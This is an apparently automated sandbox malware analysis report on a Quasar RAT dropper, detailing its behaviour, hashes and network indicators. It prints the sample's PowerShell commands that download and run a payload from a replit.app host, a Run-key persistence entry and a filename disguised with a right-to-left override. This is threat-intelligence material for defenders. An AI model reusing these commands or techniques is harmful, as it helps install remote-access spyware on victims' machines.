Malware Analysis Report

2024-10-19 08:35

Sample ID 240730-bp2hravejg
Target 2abc4eca6e91c8766cf9fce20d24ce847fcf17dc3dd67c94d332b12061154258.unknown
SHA256 2abc4eca6e91c8766cf9fce20d24ce847fcf17dc3dd67c94d332b12061154258
Tags
discovery execution quasar office04 persistence spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2abc4eca6e91c8766cf9fce20d24ce847fcf17dc3dd67c94d332b12061154258

Threat Level: Known bad

The file 2abc4eca6e91c8766cf9fce20d24ce847fcf17dc3dd67c94d332b12061154258.unknown was found to be: Known bad.

Malicious Activity Summary

discovery execution quasar office04 persistence spyware trojan

Quasar RAT

Quasar payload

Blocklisted process makes network request

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

.NET Reactor proctector

Checks computer location settings

Adds Run key to start application

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-30 01:19

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-30 01:19

Reported

2024-07-30 01:22

Platform

win7-20240704-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C0EF.tmp\C0F0.tmp\C0F1.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\C0EF.tmp\C0F0.tmp\C0F1.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/1100-6-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

memory/1100-7-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

memory/1100-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

memory/1100-12-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

memory/1100-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

memory/1100-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

memory/1100-8-0x0000000002780000-0x0000000002788000-memory.dmp

memory/1100-13-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

memory/1100-14-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 1a584b347be98003da08bae1e0e9a2c8
SHA1 233f831a5c1fbbc67ee5b84dfd2f26644d94cb25
SHA256 d94062ddb6c8e257ca866fcb229fd7bc2b82e89244a2e05ab052f943a333b7e2
SHA512 07d7c92a2900c9b94109216a59cf4c5a1b2b2c791b30c88f4ade37b782c59f8fcf5d46b3ec22965aea5e12c4acf0e764d05ec312b332826130deaa0c8ef443c2

memory/2488-20-0x000000001B540000-0x000000001B822000-memory.dmp

memory/2488-21-0x0000000001D80000-0x0000000001D88000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-30 01:19

Reported

2024-07-30 01:23

Platform

win10v2004-20240729-en

Max time kernel

93s

Max time network

142s

Command Line

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-735441492-2964205366-2526932795-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-735441492-2964205366-2526932795-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\71D4.tmp\71E5.tmp\71E6.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

networkrunfdp.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 jdvdpconstructionltdfileportal.replit.app udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 233.33.117.34.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 oshi.at udp
NL 5.253.86.15:443 oshi.at tcp
US 8.8.8.8:53 15.86.253.5.in-addr.arpa udp
US 192.228.105.2:4782 tcp
US 8.8.8.8:53 ipwho.is udp
DE 195.201.57.90:443 ipwho.is tcp
US 8.8.8.8:53 2.105.228.192.in-addr.arpa udp
US 8.8.8.8:53 90.57.201.195.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\71D4.tmp\71E5.tmp\71E6.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/3960-2-0x00007FFF07E63000-0x00007FFF07E65000-memory.dmp

memory/3960-3-0x000001CDFFF10000-0x000001CDFFF32000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k02ih5wr.u24.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3960-13-0x00007FFF07E60000-0x00007FFF08921000-memory.dmp

memory/3960-14-0x00007FFF07E60000-0x00007FFF08921000-memory.dmp

memory/3960-17-0x00007FFF07E60000-0x00007FFF08921000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a2b24af1492f112d2e53cb7415fda39f
SHA1 dbfcee57242a14b60997bd03379cc60198976d85
SHA256 fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
SHA512 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

MD5 a18b7de2990becc30f700720e19ebfef
SHA1 b48c1a5c7756bccfe05d7999daeb96e7ab688cfd
SHA256 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5
SHA512 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b

memory/2308-33-0x00000000000C0000-0x000000000012E000-memory.dmp

memory/2308-40-0x0000000005390000-0x00000000056B5000-memory.dmp

memory/2308-41-0x0000000005E10000-0x0000000006134000-memory.dmp

memory/2308-42-0x00000000066E0000-0x0000000006C84000-memory.dmp

memory/2308-43-0x0000000005B80000-0x0000000005C12000-memory.dmp

memory/2308-44-0x0000000005B30000-0x0000000005B3A000-memory.dmp

memory/2308-45-0x0000000006380000-0x00000000063D0000-memory.dmp

memory/2308-46-0x0000000006490000-0x0000000006542000-memory.dmp

memory/2308-47-0x00000000072B0000-0x00000000078C8000-memory.dmp

memory/2308-48-0x0000000006F70000-0x0000000006F82000-memory.dmp

memory/2308-49-0x0000000006FD0000-0x000000000700C000-memory.dmp

memory/2308-50-0x0000000007080000-0x00000000070E6000-memory.dmp